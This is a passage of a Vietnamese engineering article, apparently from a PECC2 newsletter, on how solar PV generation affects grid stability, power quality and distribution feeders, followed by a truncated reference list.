\u0111i\u1ec7n th\u01b0\u1eddng li\u00ean quan \u0111\u1ebfn c\u00e1c dao \u0111\u1ed9ng \u0111i\u1ec7n c\u01a1 t\u1ea7n s\u1ed1 th\u1ea5p trong kho\u1ea3ng t\u1eeb 0.1 Hz \u0111\u1ebfn 2 Hz, trong \u0111\u00f3 \u0111\u01b0\u1ee3c chia th\u00e0nh c\u00e1c dao \u0111\u1ed9ng t\u1ea1i ch\u1ed7 (0.1 Hz &#8211; 0.8 Hz) gi\u1eefa m\u1ed7i nh\u00e0 m\u00e1y \u0111i\u1ec7n v\u00e0 ph\u1ea7n c\u00f2n l\u1ea1i c\u1ee7a h\u1ec7 th\u1ed1ng, ho\u1eb7c gi\u1eefa hai nh\u00e0 m\u00e1y \u0111i\u1ec7n g\u1ea7n nhau trong c\u00f9ng khu v\u1ef1c v\u00e0 c\u00e1c dao \u0111\u1ed9ng li\u00ean v\u00f9ng (0.7 Hz &#8211; 2 Hz) gi\u1eefa hai nh\u00f3m nh\u00e0 m\u00e1y \u0111i\u1ec7n thu\u1ed9c hai khu v\u1ef1c kh\u00e1c nhau\u00a0<strong>[3]<\/strong>. M\u1ed9t ngu\u1ed3n PV c\u1ee5 th\u1ec3, v\u00ec kh\u00f4ng c\u00f3 c\u00e1c th\u00e0nh ph\u1ea7n g\u00f3c quay v\u00e0 t\u1ed1c \u0111\u1ed9 quay nh\u01b0 m\u00e1y \u0111i\u1ec7n quay trong s\u1ef1 t\u01b0\u01a1ng t\u00e1c v\u1edbi l\u01b0\u1edbi \u0111i\u1ec7n n\u00ean c\u00f3 th\u1ec3 l\u00e0m suy gi\u1ea3m t\u00ednh \u1ed5n \u0111\u1ecbnh c\u00e1c dao \u0111\u1ed9ng t\u1ea1i ch\u1ed7, nh\u01b0ng vi\u1ec7c n\u00f3 c\u00f3 th\u1ec3 suy gi\u1ea3m hay h\u1ed7 tr\u1ee3 cho c\u00e1c dao \u0111\u1ed9ng li\u00ean v\u00f9ng th\u00ec t\u00f9y v\u00e0o v\u1ecb tr\u00ed, c\u00f4ng su\u1ea5t c\u1ee7a n\u00f3\u00a0<strong>[3]<\/strong>.<\/p>\n<p>B\u00ean c\u1ea1nh \u0111\u00f3, m\u1ed9t s\u1ed1 nh\u00e0 m\u00e1y \u0111i\u1ec7n quay c\u1ea7n \u0111\u01b0\u1ee3c duy tr\u00ec v\u1eadn h\u00e0nh, ho\u1eb7c c\u1ea7n x\u00e2y d\u1ef1ng th\u00eam c\u00e1c h\u1ec7 th\u1ed1ng b\u00f9 linh ho\u1ea1t t\u00e1c \u0111\u1ed9ng nhanh (SVC ho\u1eb7c STATCOM) \u0111\u1ec3 b\u1ea3o \u0111\u1ea3m \u1ed5n \u0111\u1ecbnh t\u0129nh c\u1ee7a h\u1ec7 th\u1ed1ng, d\u00f9 vi\u1ec7c n\u00e0y c\u00f3 th\u1ec3 kh\u00f4ng t\u1ed1i \u01b0u v\u1ec1 kinh t\u1ebf\u00a0<strong>[4]<\/strong>. Trong \u0111i\u1ec1u ki\u1ec7n nh\u01b0 v\u1eady, n\u1ebfu th\u1ef1c hi\u1ec7n \u0111\u00e1nh gi\u00e1, t\u00ednh to\u00e1n m\u1ed9t c\u00e1ch c\u1ea9n th\u1eadn, m\u1ed9t s\u1ed1 ngu\u1ed3n PV \u1edf c\u00e1c v\u1ecb tr\u00ed th\u00edch h\u1ee3p v\u1eabn c\u00f3 t\u00e1c d\u1ee5ng t\u00edch c\u1ef1c cho \u1ed5n \u0111\u1ecbnh t\u0129nh h\u1ec7 th\u1ed1ng th\u00f4ng qua vi\u1ec7c c\u1ea3i thi\u1ec7n c\u00e1c dao \u0111\u1ed9ng li\u00ean v\u00f9ng.<\/p>\n<p>Th\u1ee9 hai: \u1ed4n \u0111\u1ecbnh \u0111\u1ed9ng: Khi t\u1ec9 l\u1ec7 c\u00f4ng su\u1ea5t PV trong h\u1ec7 th\u1ed1ng cao, qu\u00e1n t\u00ednh h\u1ec7 th\u1ed1ng gi\u1ea3m th\u1ea5p v\u00e0 l\u00e0m t\u0103ng nguy c\u01a1 m\u1ea5t \u1ed5n \u0111\u1ecbnh \u0111\u1ed9ng h\u1ec7 th\u1ed1ng\u00a0<strong>[5]<\/strong>. T\u00f9y v\u00e0o v\u1ecb tr\u00ed c\u00e1c ngu\u1ed3n PV m\u00e0 nguy c\u01a1 m\u1ea5t \u1ed5n \u0111\u1ecbnh \u0111\u1ed9ng h\u1ec7 th\u1ed1ng (khi c\u00f3 s\u1ef1 c\u1ed1 l\u1edbn nh\u01b0 ng\u1eafn m\u1ea1ch, ho\u1eb7c m\u00e2y che g\u00e2y \u0111\u1ed9t bi\u1ebfn c\u00f4ng su\u1ea5t) c\u00f3 th\u1ec3 kh\u00e1c nhau v\u1edbi c\u00f9ng m\u1ed9t t\u1ec9 tr\u1ecdng t\u1ed5ng c\u1ee7a c\u00e1c ngu\u1ed3n PV, v\u00e0 v\u00ec th\u1ebf nguy c\u01a1 n\u00e0y c\u1ea7n \u0111\u01b0\u1ee3c kh\u1ea3o s\u00e1t, t\u00ednh to\u00e1n c\u1ee5 th\u1ec3 v\u1edbi m\u1ed7i l\u01b0\u1edbi \u0111i\u1ec7n. Tuy v\u1eady, nhi\u1ec1u nghi\u00ean c\u1ee9u tr\u00ean c\u00e1c m\u00f4 h\u00ecnh l\u01b0\u1edbi \u0111i\u1ec7n m\u1eabu cho th\u1ea5y r\u1eb1ng, c\u00e1c nguy c\u01a1 m\u1ea5t \u1ed5n \u0111\u1ecbnh \u0111\u1ed9ng c\u00f3 th\u1ec3 x\u1ea3y ra khi t\u1ec9 tr\u1ecdng ngu\u1ed3n PV l\u1edbn h\u01a1n 20%.<\/p>\n<p>Th\u1ee9 ba: \u1ed4n \u0111\u1ecbnh \u0111i\u1ec7n \u00e1p: V\u1ecb tr\u00ed, c\u00f4ng su\u1ea5t v\u00e0 ch\u1ebf \u0111\u1ed9 ho\u1ea1t \u0111\u1ed9ng c\u1ee7a PV c\u00f3 \u1ea3nh h\u01b0\u1edfng kh\u00e1c nhau v\u1edbi v\u1ea5n \u0111\u1ec1 \u1ed5n \u0111\u1ecbnh \u0111i\u1ec7n \u00e1p, v\u00e0 v\u1ea5n \u0111\u1ec1 n\u00e0y c\u0169ng c\u1ea7n \u0111\u01b0\u1ee3c kh\u1ea3o s\u00e1t v\u1edbi m\u1ed7i h\u1ec7 th\u1ed1ng \u0111i\u1ec7n c\u1ee5 th\u1ec3. Ch\u1ebf \u0111\u1ed9 gi\u1eef h\u1ec7 s\u1ed1 c\u00f4ng su\u1ea5t kh\u00f4ng \u0111\u1ed5i th\u01b0\u1eddng gi\u00fap gi\u1ea3m m\u1ee9c dao \u0111\u1ed9ng \u0111i\u1ec7n \u00e1p, nh\u01b0ng kh\u00f4ng c\u1ea3i thi\u1ec7n \u0111\u01b0\u1ee3c bi\u00ean \u0111\u1ed9 \u0111i\u1ec7n \u00e1p, trong khi ch\u1ebf \u0111\u1ed9 \u0111i\u1ec1u ch\u1ec9nh \u0111i\u1ec7n \u00e1p c\u1ee7a b\u1ed9 ngh\u1ecbch l\u01b0u c\u00f3 th\u1ec3 h\u1ed7 tr\u1ee3 \u1ed5n \u0111\u1ecbnh \u0111i\u1ec7n \u00e1p c\u1ee7a h\u1ec7 th\u1ed1ng t\u1ed1t h\u01a1n\u00a0<strong>[5,6]<\/strong>. Trong tr\u01b0\u1eddng h\u1ee3p c\u00f3 s\u1ef1 c\u1ed1 ng\u1eafn m\u1ea1ch g\u00e2y ra s\u1ef1 s\u1ee5t gi\u1ea3m \u0111i\u1ec7n \u00e1p v\u00e0 l\u00e0m m\u1ea5t k\u1ebft n\u1ed1i PV, \u0111i\u1ec7n \u00e1p h\u1ec7 th\u1ed1ng c\u00f3 th\u1ec3 b\u1ecb m\u1ea5t \u1ed5n \u0111\u1ecbnh sau khi s\u1ef1 c\u1ed1 \u0111\u01b0\u1ee3c c\u00f4 l\u1eadp\u00a0<strong>[5,7]<\/strong>. N\u1ebfu \u1edf g\u1ea7n ngu\u1ed3n PV t\u1eadp trung l\u00e0 khu v\u1ef1c t\u1ea3i c\u00f3 nhi\u1ec1u \u0111\u1ed9ng c\u01a1 l\u1edbn (ch\u1eb3ng h\u1ea1n nh\u01b0 khu c\u00f4ng nghi\u1ec7p), t\u00ecnh tr\u1ea1ng s\u1ee5t gi\u1ea3m \u0111i\u1ec7n \u00e1p v\u00e0 m\u1ea5t \u1ed5n \u0111\u1ecbnh \u0111i\u1ec7n \u00e1p khi c\u00f3 s\u1ef1 c\u1ed1 ng\u1eafn m\u1ea1ch c\u00f3 th\u1ec3 tr\u1ea7m tr\u1ecdng h\u01a1n trong qu\u00e1 tr\u00ecnh c\u00e1c \u0111\u1ed9ng c\u01a1 tr\u1edf v\u1ec1 t\u1ed1c \u0111\u1ed9 \u0111\u1ecbnh m\u1ee9c. Trong c\u00e1c tr\u01b0\u1eddng h\u1ee3p n\u00e0y, ch\u1ebf \u0111\u1ed9 gi\u1eef PV k\u1ebft n\u1ed1i v\u1edbi l\u01b0\u1edbi trong t\u00ecnh tr\u1ea1ng \u0111i\u1ec7n \u00e1p s\u1ee5t gi\u1ea3m th\u1ea5p (LVRT) c\u00f3 th\u1ec3 g\u00f3p ph\u1ea7n c\u1ea3i thi\u1ec7n cho \u1ed5n \u0111\u1ecbnh \u0111i\u1ec7n \u00e1p c\u1ee7a h\u1ec7 th\u1ed1ng\u00a0<strong>[7]<\/strong>.<\/p>\n<p>4\/ Qu\u00e1 \u0111\u1ed9 \u0111i\u1ec7n t\u1eeb: Trong t\u00ecnh tr\u1ea1ng c\u00f4ng su\u1ea5t PV dao \u0111\u1ed9ng nhanh b\u1edfi c\u00e1c y\u1ebfu t\u1ed1 th\u1eddi ti\u1ebft, c\u00e1c thi\u1ebft b\u1ecb k\u1ebft n\u1ed1i gi\u1eefa ngu\u1ed3n PV v\u00e0 l\u01b0\u1edbi, \u0111\u1eb7c bi\u1ec7t l\u00e0 b\u1ed9 ngh\u1ecbch l\u01b0u v\u00e0 c\u00e1c ch\u1ee9c n\u0103ng b\u1ea3o v\u1ec7 t\u01b0\u01a1ng \u1ee9ng, c\u00f3 th\u1ec3 \u0111\u00f3ng c\u1eaft, t\u00e1c \u0111\u1ed9ng nhi\u1ec1u h\u01a1n so v\u1edbi th\u00f4ng th\u01b0\u1eddng v\u00e0 d\u1eabn \u0111\u1ebfn qu\u00e1 tr\u00ecnh qu\u00e1 \u0111\u1ed9 \u0111i\u1ec7n t\u1eeb ph\u1ee9c t\u1ea1p. C\u00e1c di\u1ec5n bi\u1ebfn n\u00e0y c\u0169ng c\u1ea7n \u0111\u01b0\u1ee3c kh\u1ea3o s\u00e1t v\u1edbi m\u00f4 h\u00ecnh PV chi ti\u1ebft ph\u00f9 h\u1ee3p v\u1edbi m\u00f4 h\u00ecnh qu\u00e1 \u0111\u1ed9 \u0111i\u1ec7n t\u1eeb \u0111\u1ec3 c\u00f3 \u0111\u00e1nh gi\u00e1 \u0111\u00fang m\u1ee9c v\u1ec1 \u1ea3nh h\u01b0\u1edfng c\u1ee7a PV \u0111\u1ebfn l\u01b0\u1edbi \u0111i\u1ec7n \u1edf kh\u00eda c\u1ea1nh qu\u00e1 \u0111\u1ed9 \u0111i\u1ec7n t\u1eeb\u00a0<strong>[8]<\/strong>.<\/p>\n<p>5\/ Ch\u1ea5t l\u01b0\u1ee3ng \u0111i\u1ec7n n\u0103ng: Dao \u0111\u1ed9ng c\u00f4ng su\u1ea5t c\u00e1c ngu\u1ed3n PV c\u00f3 th\u1ec3 d\u1eabn \u0111\u1ebfn c\u00e1c dao \u0111\u1ed9ng \u0111i\u1ec7n \u00e1p, c\u0169ng nh\u01b0 c\u00e1c nh\u1ea5p nh\u00e1y \u0111i\u1ec7n \u00e1p tr\u00ean l\u01b0\u1edbi truy\u1ec1n t\u1ea3i v\u00e0 ph\u00e2n ph\u1ed1i ra ngo\u00e0i ph\u1ea1m vi quy \u0111\u1ecbnh\u00a0<strong>[8]<\/strong>.<\/p>\n<p>6\/ Truy\u1ec1n t\u1ea3i \u0111i\u1ec7n: Vi\u1ec7c x\u00e2y d\u1ef1ng th\u00eam c\u00e1c ngu\u1ed3n PV c\u00f4ng su\u1ea5t l\u1edbn th\u01b0\u1eddng d\u1eabn \u0111\u1ebfn vi\u1ec7c m\u1edf r\u1ed9ng l\u01b0\u1edbi truy\u1ec1n t\u1ea3i. Do t\u00ednh ch\u1ea5t ph\u1ee5 thu\u1ed9c v\u00e0o th\u1eddi ti\u1ebft v\u00e0 ch\u1ec9 ph\u00e1t v\u00e0o ban ng\u00e0y c\u1ee7a ngu\u1ed3n PV n\u00ean hi\u1ec7u su\u1ea5t truy\u1ec1n t\u1ea3i c\u1ee7a c\u00e1c \u0111\u01b0\u1eddng d\u00e2y ph\u1ee5c v\u1ee5 truy\u1ec1n t\u1ea3i c\u00f4ng su\u1ea5t PV l\u1edbn th\u01b0\u1eddng th\u1ea5p h\u01a1n hi\u1ec7u su\u1ea5t th\u00f4ng th\u01b0\u1eddng.<\/p>\n<h3><strong>\u1ea2nh h\u01b0\u1edfng c\u1ee7a ngu\u1ed3n PV c\u00f4ng su\u1ea5t nh\u1ecf v\u00e0 v\u1eeba tr\u00ean l\u01b0\u1edbi ph\u00e2n ph\u1ed1i<\/strong><\/h3>\n<p>C\u00e1c ph\u00e1t tuy\u1ebfn ph\u00e2n ph\u1ed1i v\u1ed1n \u0111\u01b0\u1ee3c thi\u1ebft k\u1ebf \u0111\u1ec3 t\u1ea3i lu\u1ed3ng c\u00f4ng su\u1ea5t theo chi\u1ec1u x\u00e1c \u0111\u1ecbnh t\u1eeb tr\u1ea1m bi\u1ebfn \u00e1p trung gian \u0111\u1ebfn c\u00e1c tr\u1ea1m bi\u1ebfn \u00e1p ph\u00e2n ph\u1ed1i d\u1ecdc \u0111\u01b0\u1eddng d\u00e2y ph\u00e2n ph\u1ed1i. Ti\u1ebft di\u1ec7n d\u00e2y \u0111o\u1ea1n cu\u1ed1i ph\u00e1t tuy\u1ebfn th\u01b0\u1eddng nh\u1ecf h\u01a1n \u0111o\u1ea1n g\u1ea7n tr\u1ea1m trung gian. Thi\u1ebft k\u1ebf c\u1ee7a h\u1ec7 th\u1ed1ng \u0111i\u1ec1u \u00e1p v\u00e0 b\u1ea3o v\u1ec7 ph\u00e1t tuy\u1ebfn c\u0169ng c\u0103n c\u1ee9 theo \u0111\u1eb7c t\u00ednh n\u00e0y. Vi\u1ec7c t\u00edch h\u1ee3p c\u00e1c ngu\u1ed3n PV v\u00e0o l\u01b0\u1edbi ph\u00e2n ph\u1ed1i gi\u00fap cung c\u1ea5p \u0111i\u1ec7n cho khu v\u1ef1c t\u1ea1i ch\u1ed7, gi\u1ea3m c\u00f4ng su\u1ea5t th\u1ef1c tr\u00ean \u0111\u01b0\u1eddng d\u00e2y ph\u00e2n ph\u1ed1i, v\u00e0 v\u1edbi m\u1ed9t m\u1ee9c \u0111\u1ed9 t\u00edch h\u1ee3p n\u00e0o \u0111\u00f3 n\u00f3 c\u00f3 th\u1ec3 c\u1ea3i thi\u1ec7n \u0111i\u1ec7n \u00e1p l\u01b0\u1edbi ph\u00e2n ph\u1ed1i.<\/p>\n<p>Theo m\u1ed9t nghi\u00ean c\u1ee9u\u00a0<strong>[8]<\/strong>, ngu\u1ed3n PV \u0111\u01b0\u1ee3c thi\u1ebft k\u1ebf v\u1edbi c\u00f4ng su\u1ea5t ph\u00f9 h\u1ee3p trong kho\u1ea3ng 4-6 MW tr\u00ean ph\u00e1t tuy\u1ebfn c\u00f3 t\u1ea3i 10 MW c\u00f3 th\u1ec3 gi\u1ea3m thi\u1ec3u t\u1ed5n th\u1ea5t tr\u00ean ph\u00e1t tuy\u1ebfn.<\/p>\n<p>Khi c\u00f3 c\u00e1c ngu\u1ed3n PV t\u1eadp trung, ho\u1eb7c h\u1ec7 th\u1ed1ng PV m\u00e1i nh\u00e0 d\u1ecdc ph\u00e1t tuy\u1ebfn v\u00e0 cu\u1ed1i ph\u00e1t tuy\u1ebfn, trong th\u1eddi \u0111i\u1ec3m c\u00f4ng su\u1ea5t PV v\u01b0\u1ee3t m\u1ee9c y\u00eau c\u1ea7u c\u1ee7a c\u00e1c t\u1ea3i t\u1ea1i ch\u1ed7, s\u1ebd xu\u1ea5t hi\u1ec7n hi\u1ec7n t\u01b0\u1ee3ng d\u00f2ng c\u00f4ng su\u1ea5t ng\u01b0\u1ee3c t\u1eeb v\u1ecb tr\u00ed PV v\u1ec1 h\u01b0\u1edbng tr\u1ea1m trung gian. Hi\u1ec7n t\u01b0\u1ee3ng n\u00e0y s\u1ebd g\u00e2y ra c\u00e1c h\u1ec7 l\u1ee5y sau:<\/p>\n<p>1\/ T\u0103ng t\u1ed5n th\u1ea5t v\u00e0 g\u00e2y ra qu\u00e1 t\u1ea3i \u1edf c\u00e1c \u0111o\u1ea1n d\u00e2y g\u1ea7n cu\u1ed1i ph\u00e1t tuy\u1ebfn.<\/p>\n<p>2\/ Qu\u00e1 \u00e1p d\u1ecdc \u0111\u01b0\u1eddng d\u00e2y ph\u00e2n ph\u1ed1i, v\u00e0 \u1ea3nh h\u01b0\u1edfng ho\u1ea1t \u0111\u1ed9ng c\u00e1c thi\u1ebft b\u1ecb \u0111i\u1ec1u \u00e1p l\u01b0\u1edbi ph\u00e2n ph\u1ed1i\u00a0<strong>[9]<\/strong>\u00a0v\u00e0 c\u00e1c thi\u1ebft b\u1ecb b\u1ea3o v\u1ec7 l\u01b0\u1edbi. Xu h\u01b0\u1edbng thay \u0111\u1ed5i theo gi\u1edd v\u00e0 dao \u0111\u1ed9ng c\u00f4ng su\u1ea5t v\u1edbi c\u00e1c thay \u0111\u1ed5i th\u1eddi ti\u1ebft ng\u1eafn h\u1ea1n (nh\u01b0 m\u00e2y che, s\u01b0\u01a1ng m\u00f9, m\u01b0a\u2026) c\u1ee7a PV c\u00f3 th\u1ec3 khi\u1ebfn c\u00e1c thi\u1ebft b\u1ecb \u0111i\u1ec1u \u00e1p nh\u01b0 c\u00e1c t\u1ee5 b\u00f9, b\u1ed9 \u0111i\u1ec1u \u00e1p d\u01b0\u1edbi t\u1ea3i (OLTC) c\u1ee7a m\u00e1y bi\u1ebfn \u00e1p, thi\u1ebft b\u1ecb \u0111i\u1ec1u \u00e1p theo n\u1ea5c (SVR) v.v\u2026 t\u0103ng t\u1ea7n su\u1ea5t \u0111\u1ed5i n\u1ea5c l\u1edbn h\u01a1n thi\u1ebft k\u1ebf ban \u0111\u1ea7u, t\u0103ng g\u00e1nh n\u1eb7ng cho vi\u1ec7c b\u1ea3o tr\u00ec v\u00e0 s\u1eeda ch\u1eefa, thay th\u1ebf thi\u1ebft b\u1ecb.<\/p>\n<p>3\/ M\u1ea5t c\u00e2n b\u1eb1ng pha: Ph\u00e1t tuy\u1ebfn ph\u00e2n ph\u1ed1i \u0111\u00e3 \u0111\u01b0\u1ee3c thi\u1ebft k\u1ebf v\u00e0 v\u1eadn h\u00e0nh c\u00e2n b\u1eb1ng 3 pha tr\u01b0\u1edbc khi c\u00f3 c\u00e1c ngu\u1ed3n PV. Vi\u1ec7c l\u1eafp \u0111\u1eb7t c\u00e1c ngu\u1ed3n PV m\u00e1i nh\u00e0 th\u01b0\u1eddng theo ph\u1ee5 thu\u1ed9c nhu c\u1ea7u c\u1ee7a c\u00e1c ch\u1ee7 h\u1ed9 ti\u00eau th\u1ee5, trong \u0111\u00f3 c\u00f3 c\u00e1c h\u1ed9 ti\u00eau th\u1ee5 \u0111i\u1ec7n m\u1ed9t pha, v\u00e0 n\u1ebfu kh\u00f4ng \u0111\u01b0\u1ee3c ki\u1ec3m so\u00e1t theo ti\u00eau ch\u00ed c\u00e2n b\u1eb1ng pha th\u00ec s\u1ebd d\u1eabn \u0111\u1ebfn kh\u1ea3 n\u0103ng m\u1ea5t c\u00e2n b\u1eb1ng pha tr\u1ea7m tr\u1ecdng, nh\u1ea5t l\u00e0 v\u00e0o c\u00e1c th\u1eddi \u0111i\u1ec3m PV ph\u00e1t c\u00f4ng su\u1ea5t cao v\u01b0\u1ee3t qu\u00e1 c\u00f4ng su\u1ea5t ph\u1ee5 t\u1ea3i t\u1ea1i ch\u1ed7.<\/p>\n<p>4\/ Gi\u1ea3m hi\u1ec7u su\u1ea5t m\u00e1y bi\u1ebfn \u00e1p trung gian: Vi\u1ec7c truy\u1ec1n d\u00f2ng c\u00f4ng su\u1ea5t ng\u01b0\u1ee3c th\u01b0\u1eddng d\u1eabn \u0111\u1ebfn c\u00f4ng su\u1ea5t th\u1ef1c qua m\u00e1y bi\u1ebfn \u00e1p trung gian b\u1ecb gi\u1ea3m th\u1ea5p h\u01a1n nhi\u1ec1u so v\u1edbi \u0111\u1ecbnh m\u1ee9c. B\u00ean c\u1ea1nh \u0111\u00f3, n\u1ebfu PV kh\u00f4ng cung c\u1ea5p c\u00f4ng su\u1ea5t ph\u1ea3n kh\u00e1ng, ho\u1eb7c ch\u1ec9 cung c\u1ea5p m\u1ed9t ph\u1ea7n nh\u1ecf, m\u00e1y bi\u1ebfn \u00e1p trung gian v\u1eabn ph\u1ea3i truy\u1ec1n t\u1ea3i m\u1ed9t l\u1edbn c\u00f4ng su\u1ea5t ph\u1ea3i kh\u00e1ng l\u1edbn, d\u1eabn \u0111\u1ebfn h\u1ec7 s\u1ed1 c\u00f4ng su\u1ea5t m\u00e1y bi\u1ebfn \u00e1p trung gian gi\u1ea3m th\u1ea5p. \u0110i\u1ec1u n\u00e0y l\u00e0m t\u1ed5n th\u1ea5t m\u00e1y bi\u1ebfn \u00e1p trung gian t\u0103ng l\u00ean, v\u00e0 g\u00f3p ph\u1ea7n gi\u1ea3m hi\u1ec7u su\u1ea5t truy\u1ec1n t\u1ea3i l\u01b0\u1edbi ph\u00e2n ph\u1ed1i\u00a0<strong>[10]<\/strong>.<\/p>\n<p>5\/ Ch\u1ea5t l\u01b0\u1ee3ng \u0111i\u1ec7n n\u0103ng: Ch\u1ea5t l\u01b0\u1ee3ng \u0111i\u1ec7n n\u0103ng l\u00e0 m\u1ed9t trong nh\u1eefng v\u1ea5n \u0111\u1ec1 c\u1ea7n ch\u00fa \u00fd khi c\u00f3 m\u1ed9t l\u01b0\u1ee3ng l\u1edbn ngu\u1ed3n PV t\u00edch h\u1ee3p v\u00e0o l\u01b0\u1edbi ph\u00e2n ph\u1ed1i. C\u00e1c b\u1ed9 ngh\u1ecbch l\u01b0u PV th\u01b0\u1eddng t\u1ea1o ra c\u00e1c h\u00e0i \u0111i\u1ec7n \u00e1p v\u00e0 d\u00f2ng \u0111i\u1ec7n t\u1ea1i ch\u1ed7 k\u1ebft n\u1ed1i, trong \u0111\u00f3 h\u00e0i d\u00f2ng \u0111i\u1ec7n th\u01b0\u1eddng c\u00f3 b\u1eadc cao v\u1edbi bi\u00ean \u0111\u1ed9 nh\u1ecf. V\u1ea5n \u0111\u1ec1 v\u1edbi c\u00e1c h\u00e0i d\u00f2ng \u0111i\u1ec7n b\u1eadc cao n\u00e0y l\u00e0 ch\u00fang c\u00f3 th\u1ec3 k\u00edch ho\u1ea1t c\u1ed9ng h\u01b0\u1edfng t\u1ea7n s\u1ed1 cao trong h\u1ec7 th\u1ed1ng. M\u1ed9t v\u1ea5n \u0111\u1ec1 kh\u00e1c l\u00e0 c\u00e1c h\u00e0i trung gian \u1edf d\u1ea3i t\u1ea7n s\u1ed1 h\u00e0i th\u1ea5p (d\u01b0\u1edbi b\u1eadc 13) c\u00f3 th\u1ec3 t\u01b0\u01a1ng t\u00e1c v\u1edbi t\u1ea3i g\u1ea7n v\u1ecb tr\u00ed b\u1ed9 ngh\u1ecbch l\u01b0u, v\u00e0 c\u00e1c h\u00e0i b\u1eadc ch\u1eb5n c\u00f3 th\u1ec3 t\u1ea1o ra th\u00e0nh ph\u1ea7n th\u1ee9 t\u1ef1 ngh\u1ecbch kh\u00f4ng mong mu\u1ed1n \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn c\u00e1c t\u1ea3i 3 pha\u00a0<strong>[11]<\/strong>.<\/p>\n<p><em>K\u1ef3 t\u1edbi: C\u00e1c gi\u1ea3i ph\u00e1p cho t\u00edch h\u1ee3p hi\u1ec7u qu\u1ea3 \u0111i\u1ec7n m\u1eb7t tr\u1eddi v\u00e0o l\u01b0\u1edbi<\/em><\/p>\n<p>TR\u1ea6N HU\u1ef2NH NG\u1eccC; L\u00ca THANH NGH\u1eca<\/p>\n<p>TRUNG T\u00c2M \u0110\u00c0O T\u1ea0O V\u00c0 NGHI\u00caN C\u1ee8U PH\u00c1T TRI\u1ec2N &#8211; C\u00d4NG TY C\u1ed4 PH\u1ea6N T\u01af V\u1ea4N X\u00c2Y D\u1ef0NG \u0110I\u1ec6N 2 (PECC2)<\/p>\n<p>T\u00e0i li\u1ec7u tham kh\u1ea3o:<\/p>\n[1]\u00a0H. Asano, K. Yajima and Y. Kaya, &#8220;Influence of photovoltaic power generation on required capacity for load frequency control,&#8221; in IEEE Transactions on Energy Conversion, vol. 11, no. 1, pp. 188-193, March 1996, doi: 10.1109\/60.486595.<\/p>\n[2]\u00a0W. T. Jewell and T. D. Unruh, &#8220;Limits on cloud-induced fluctuation in photovoltaic generation,&#8221; in IEEE Transactions on Energy Conversion, vol. 5, no. 1, pp. 8-14, March 1990, doi: 10.1109\/60.50805.<\/p>\n[3]\u00a0M. Klein, G. J. Rogers and P. Kundur, &#8220;A fundamental study of inter-area oscillations in power systems,&#8221; in IEEE Transactions on Power Systems, vol. 6, no. 3, pp. 914-921, Aug. 1991, doi: 10.1109\/59.119229.<\/p>\n[4]\u00a0H. Liu, L. Jin, D. Le and A. A. Chowdhury, &#8220;Impact of high penetration of solar photovoltaic generation on power system small signal stability,&#8221; 2010 International Conference on Power System Technology, Hangzhou, 2010, pp. 1-7, doi: 10.1109\/POWERCON.2010.5666627.<\/p>\n[5]\u00a0Y. T. Tan and D. S. Kirschen, &#8220;Impact on the Power System of a Large Penetration of Photovoltaic Generation,&#8221; 2007 IEEE Power Engineering Society General Meeting, Tampa, FL, 2007, pp. 1-8, doi: 10.1109\/PES.2007.385563.<\/p>\n[6]\u00a0Rakibuzzaman Shah, Nadarajah Mithulananathan, Ramesh Bansal, Kwang Y. Lee and Abraham Lomi, \u201d Influence of Large-scale PV on Voltage Stability of Sub-transmission System, \u201d International Journal on Electrical Engineering and Informatics, Volume 4, Number 1, March 2012.<\/p>\n[7]\u00a0Nguyen Hoang Viet, Akihiko Yokoyama, \u201cInfluence of Penetration Levels and Fault Ride-Through Characteristics of Photovoltaic Generation on Voltage Stability,\u201d Journal of International Council on Electrical Engineering, 3:4, 283-289, doi: 10.5370\/jicee.2013.3.4.283.<\/p>\n[8]\u00a0J. H. R. Enslin, &#8220;Network impacts of high penetration of photovoltaic solar power systems,&#8221; IEEE PES General Meeting, Providence, RI, 2010, pp. 1-5, doi: 10.1109\/PES.2010.5589675.<\/p>\n[9]\u00a0Huynh Ngoc Tran, Mai Koide, Masaki Imanaka, Jumpei Baba and Daisuke Iioka, \u201cAnalysis of technical solutions for dealing with distribution line overvoltage due to large penetration of photovoltaic generation,\u201d The International Conference on Electrical Engineering, Okinawa, Japan, July, 2016.<\/p>\n[10]\u00a0F. Katiraei, K. Mauch, and L. Dignard-Bailey, \u201cIntegration of photovoltaic power systems in high-penetration clusters for distribution networks and mini-grids,\u201d National Resources Canada, January 2009.<\/p>\n[11]\u00a0M. S. ElNozahy, M. M. A. Salama, \u201c<a href=\"https:\/\/aip.scitation.org\/doi\/full\/10.1063\/1.4808264\">Technical impacts of grid-connected photovoltaic systems on electrical networks-A review<\/a>,\u201d J. Renewable Sustainable Energy 5, 032702 (2013).<\/p>\n[12]\u00a0Chandler, \u201cH. Harnessing Variable Renewables &#8211; A Guide to the Balancing Challenge,\u201d OECD\/International Energy Agency 2011, ISBN 978-92-64-11138-7.<\/p>\n[13]\u00a0Raymond Hudson, Gerd Heilscher, \u201cPV Grid Integration \u2013 System Management Issues and Utility Concerns,\u201d Energy Procedia, Volume 25, 2012, Pages 82-92, ISSN 1876-6102.<\/p>\n[14]\u00a0Takumi Zaitsu, Ngoc Huynh Tran, Michihiro Kawanishi, Tatsuo Narikiyo, &#8220;Advanced SVR control by PSO to handle over-voltage in distribution system,&#8221; The 61st Japan Joint Automatic Control Conference, 17-18, Nov, 2018, Nagoya, Japan.<\/p>\n[15]\u00a0<a href=\"https:\/\/www.toshiba-energy.com\/en\/info\/info2020_0307.htm\">https:\/\/www.toshiba-energy.com\/en\/info\/info2020_0307.htm<\/a><\/p>\n[16]\u00a0Nhi \u0110\u1ed7, \u201c&#8221;H\u1ed3i Chu\u00f4ng&#8221; \u0111\u00e1nh th\u1ee9c &#8220;N\u1ec1n Kinh T\u1ebf Hydro&#8221;,\u201d B\u1ea3n tin n\u0103ng l\u01b0\u1ee3ng PECC2, th\u00e1ng 4, 2020. Link:\u00a0<a href=\"http:\/\/www.pecc2.com\/Detail.aspx?isMonthlyNew=1&amp;newsID=101458&amp;MonthlyCatID=17&amp;year=2020\">http:\/\/www.pecc2.com\/Detail.aspx?isMonthlyNew=1&amp;newsID=101458&amp;MonthlyCatID=17&amp;year=2020<\/a><\/p>\n[17]\u00a0G. Plancke, K. De Vos, R. Belmans and A. Delnooz, &#8220;Virtual power plants: Definition, applications and barriers to the implementation in the distribution system,&#8221; 2015 12th International Conference on the European Energy Market (EEM), Lisbon, 2015, pp. 1-5, doi: 10.1109\/EEM.2015.7216693.<\/p>\n[18]\u00a0Barry Hayes, Chapter 9 &#8211; Distribution Generation Optimization and Energy Management, Editor(s): G.B. Gharehpetian, S. Mohammad 